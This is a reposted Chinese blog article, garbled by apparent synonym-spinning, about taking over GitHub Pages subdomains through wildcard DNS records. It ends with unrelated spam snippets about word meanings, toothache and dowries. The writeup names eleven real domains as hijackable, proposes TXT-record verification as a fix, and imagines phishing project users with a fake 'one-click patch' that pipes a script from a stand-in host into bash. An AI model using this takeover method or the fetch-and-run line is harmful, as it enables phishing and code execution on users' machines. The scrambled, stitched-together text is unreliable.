咱们来“绑架”个GitHub自定义域名玩吧

咱们来“绑架”个GitHub自定义域名玩吧作为一个国内外项目都不怎样挖的我,比较喜爱拿自己正在运用的服务下手挖洞,究竟具有需求又了解事务才干长时间跟进,更好的去发现各种流程上呈现的缺点。
近来闲得无聊,看了看GitHub

作为一个国内外项目都不怎样挖的我,比较喜爱拿自己正在运用的服务下手挖洞,究竟具有需求又了解事务才干长时间跟进,更好的去发现各种流程上呈现的缺点。
近来闲得无聊,看了看GitHub Pages服...

作为一个国内外项目都不怎样挖的我,比较喜爱拿自己正在运用的服务下手挖洞,究竟具有需求又了解事务才干长时间跟进,更好的去发现各种流程上呈现的缺点。

近来闲得无聊,看了看GitHub Pages服务的更新内容,能够支撑自定义域名SSL自动签证了?Emmm… 阔以阔以,blog能够回归保管到github了。
趁便计划给手上每个项目放个查看document的页面,而且别离分配独自的二级域名给每个项目,多咩高端,多咩大气!
可是这么多项目需求一个个增加域名真是好叽儿费事哦…
爽性泛解析到github page的服务器吧!之后就只需求在github里绑定域名,就不需求每个项目再去增加DNS解析了!
哎?泛解析到公共服务器?…
惯例“打野挖洞”的思路告诉我,这个单方面绑定域名的设置方法,必定要出点啥幺蛾子…
域名从DNS解析到服务器后端解析到特定项目,流程上或许会有安全问题
每个注册用户都能发布并保管page,这可控性有些广,或许此行能够GANK一波呢…
解析流程中的缺点
批量解析到公共服务器… 可是这个服务器每个人都能布置page… 是不是说…
我能够设置布置到他人的泛解析的域名下?以此绑架某个二级域名,试试用来垂钓github用户或许看文档的项目运用者呢?
假如某个用户像我所想运用了泛解析来批量给自己项目挂自定义域名,那实践流程会是这样的:
独自二级域名的解析流程: www.deepwn.com => GitHub Page:

而泛解析域名的解析流程 *.deepwn.com => GitHub Page:

如你所见,假如一个用户自定义域名被泛解析到了GitHub的服务器,当你查询DNS时分,任何二级都会指向GitHub,可是由于没有设置布置指向某个项目,所以会显现GitHub的404页面。
那么问题来了,一切用户都能给自己的项目设置布置,运用的是相同一组GitHub的服务器,而且服务器不会验证你是不是域名一切者,也毫无办法查询是否答应域名绑定到某个项目,所以说只要能找到一个用户设置心大的域名,就能开端绑架之旅了。
比方这个我挂的hijack_demo: http://hijack.michellerobinscreative.com

有多少域名被运用在项目Page上呢?
你能够搜一下,会发现炒鸡多的项目开通了Page,而且每天操作更新page的的频率极端高…

有多少域名能够被绑架呢?
仅仅获取了1天的数据量(700+),就发现了11个可悲的域名… 天呐撸…

2019-05-14 (day: 13–14)
androidx.de
bayes.dk
claudiuandrei.com
crunchbitcoin.com
eskont.ponomarevlad.ru
fwb.app
goldtum.com
hijack.michellerobinscreative.com (这个是我demo用的)
lit.max.pub
paulispace.com
sumit.app
valuate.app
个人主张
GitHub在用户设置域名的时分会查看DNS设置,假如解析过错或许解析有问题将会在设置页面增加提示。

那么为什么不增加个查看功用,让用户“双向验证”自己运用的域名呢?
就像某些能绑定自定义域名的Mail公共服务相同,让用户增加一条’TXT’解析来验证这个域名只能绑定到某个用户群。这样不就能防止被绑架,进行双向设置嘛?
熊怼面临现实吧
这个问题我早现已发到“GitHub Security Bug Bounty”,可是由于超出项目承受的规模,或许这个设置项的”BUG”并不会有修正改变。
或许会在之后GitHub更新中才会呈现缓解办法,所以我写下此文也仅仅想戒备各位GitHub用户需求自动去面临和进行查看。
所以,在没有增加相似的溯源查看服务之前,请必须留意自己的解析设定防止被绑架垂钓的费事。
PS: 如果被绑架,用来垂钓你的GitHub账号?再或许绑架你的某二级域名,克隆你项目的document页面,挂上一个歹意的“晋级装备脚本”,再给运用你开源项目的用户发送垂钓的晋级页面或许补丁地址?在或许爽性发送个垂钓的“一键补丁”curl -sLhttp://patch.example.com/update.sh | bash
其实从社工视点,可操作的规模还挺广,如果方针项目有泛解析问题,本钱低到开个新repo就行。

咱们能够看到help页面现已增加了关于这个问题的正告,但问题是有多少人会看到和留意到这条内容呢?真是为难的处理方法…

[1] [2]  黑客接单网

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/8262.html

(0)

相关推荐

  • 蜚龙的意思,蜚龙是什么意思-组词(字义,诗词)

    词组蜚龙的意思,蜚龙是什么意思-组词(字义,诗词)基本解释详细字义 蜚龙拼音:fēi lóng注音:ㄈㄟ ㄌㄨㄥˊ解释:飞龙。古代诗词宋代.释善珍.骚词二章:「湘之岳兮帝宫谒帝,帝不敢骄兮奔魑魅而走蜚龙。」清代.

    阅读 2021年11月29日
  • 塘可以组啥词,塘字组词语有哪些词语

    塘能组什么词语「高赞回答」网友提问:塘能组什么词语「高赞回答」优质回答:部编版语文二年级上册第一单元每课生字组词(识字表写字表)第一单元识字表1塘(水塘)(池塘) 脑(脑袋)(电脑)袋(口袋)(袋子) 灰(灰色)(灰尘)

    攻略 2021年12月17日
  • 牙疼怎么办,牙疼怎么办立刻止痛

    牙疼怎么办,牙疼怎么办立刻止痛原标题:牙疼怎么办?教你几个特别管用的小妙招!俗话说得好,牙疼不是病,疼起来却要命。的确,虽然牙疼并不是什么大毛病,通常是因为上火引起的,但是牙疼起来却十分的难受,是时候会疼到睡不着觉,那么

    趣活 2021年12月16日
  • 聘礼一般给多少(聘礼和彩礼的区别)

    聘礼一般给多少(聘礼和彩礼的区别) 导读:中国旧时婚姻的缔结,有在婚姻约定初步达成时互相赠送聘金、聘礼的习俗,这种聘金、聘礼俗称“彩礼”。那么,彩礼一般包括哪些?什么情况可以要回彩礼?下面跟小编一起去看看吧。彩礼一般

    生活 2021年10月5日
  • 中医裂纹舌是什么原因引起的,舌头中间有裂纹中医认为是什么原因?

    舌头有裂纹,在中医叫做裂纹舌,舌上裂纹可见于全舌,也可以见于舌的前部、舌尖还有舌边这些部分,裂纹可呈现:人、川、爻等等形状。这些是因为什么原因引起的呢?

    生活 2021年12月20日
  • 火影忍者专区在哪,火影忍者手游社区在哪儿

    火影忍者手游社区在哪里找火影忍者的官方论坛在哪?你的这个问题可能不太清楚,你想问的应该是火影忍者游戏的官方论坛,当然具体是什么游戏我不知道,端游,页游,手游,都不知道,但目前就我所知的火影题材游戏,火影忍者自来也口令兑换入口?火影忍者手游新版本中迎来了新角色自来也舞之豪杰的登场,而与此同时在微社区中也开启了活动。 玩家们进入微社区就能够找到这个自来也登场的活动的入口,进入活。2021年火影忍者体验服怎么弄?火影忍者测试服资格申请2021特色: 1、精通各种忍术技巧,但是每次战斗的时候需要灵活的运用它们。 2、只有这样,你才会将自己的战斗力发挥到最大,打败你的敌人。火影忍者手游电脑版 键位怎样设

    阅读 2022年6月30日